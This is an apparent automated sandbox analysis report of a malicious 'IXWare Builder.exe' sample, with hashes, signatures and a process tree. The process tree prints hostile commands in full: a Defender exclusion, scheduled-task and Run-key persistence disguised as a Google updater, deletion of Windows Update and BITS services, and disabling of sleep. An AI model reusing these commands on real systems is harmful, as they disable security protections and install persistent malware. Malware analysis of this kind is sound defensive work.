Analysis

  • max time kernel
    99s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-02-2023 23:05

General

  • Target

    IXWare Builder.exe

  • Size

    3.6MB

  • MD5

    6a292b8ab3ff79cefe5f8e42882885d2

  • SHA1

    cd1c59c618cb2f9d906f7214b803dd711f104f27

  • SHA256

    05e1988f56fe199f7e401c8f4d6ee50bb26ab34fb3f96c22de959c7e5f92de77

  • SHA512

    8288878d032221043d3bf99d78011aaab7ee744aeda4c2429cc461d34f7bffd9e091f242ca5fab84a6874e443420f436efc4367f1c776c74e0081f47418e1bab

  • SSDEEP

    49152:NNn9hglTk53CXPgmsyL1dvIcfYNGRaKDFCC2PPGshxSZjUni1h2/MgNRIfxi3vyf:Nd9hCcigVyLPIcRaesSZy9hAx0vyq

Score
10/10

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Stops running service(s) 3 TTPs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2556
      • C:\Users\Admin\AppData\Local\Temp\IXWare Builder.exe
        "C:\Users\Admin\AppData\Local\Temp\IXWare Builder.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Drivers directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3036
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1180
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3336
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1924
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3544
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xwrxi#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1296
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1708
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:4876
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:216
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:3988
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:1876
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:4200
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:3824
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:1848
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:3692
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:3688
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:592

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              cadef9abd087803c630df65264a6c81c

              SHA1

              babbf3636c347c8727c35f3eef2ee643dbcc4bd2

              SHA256

              cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

              SHA512

              7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

            • memory/1296-144-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB

            • memory/1296-153-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB

            • memory/1296-154-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB

            • memory/4248-132-0x0000013D76F30000-0x0000013D76F52000-memory.dmp

              Filesize

              136KB

            • memory/4248-135-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB

            • memory/4248-134-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB

            • memory/4248-133-0x00007FF905AE0000-0x00007FF9065A1000-memory.dmp

              Filesize

              10.8MB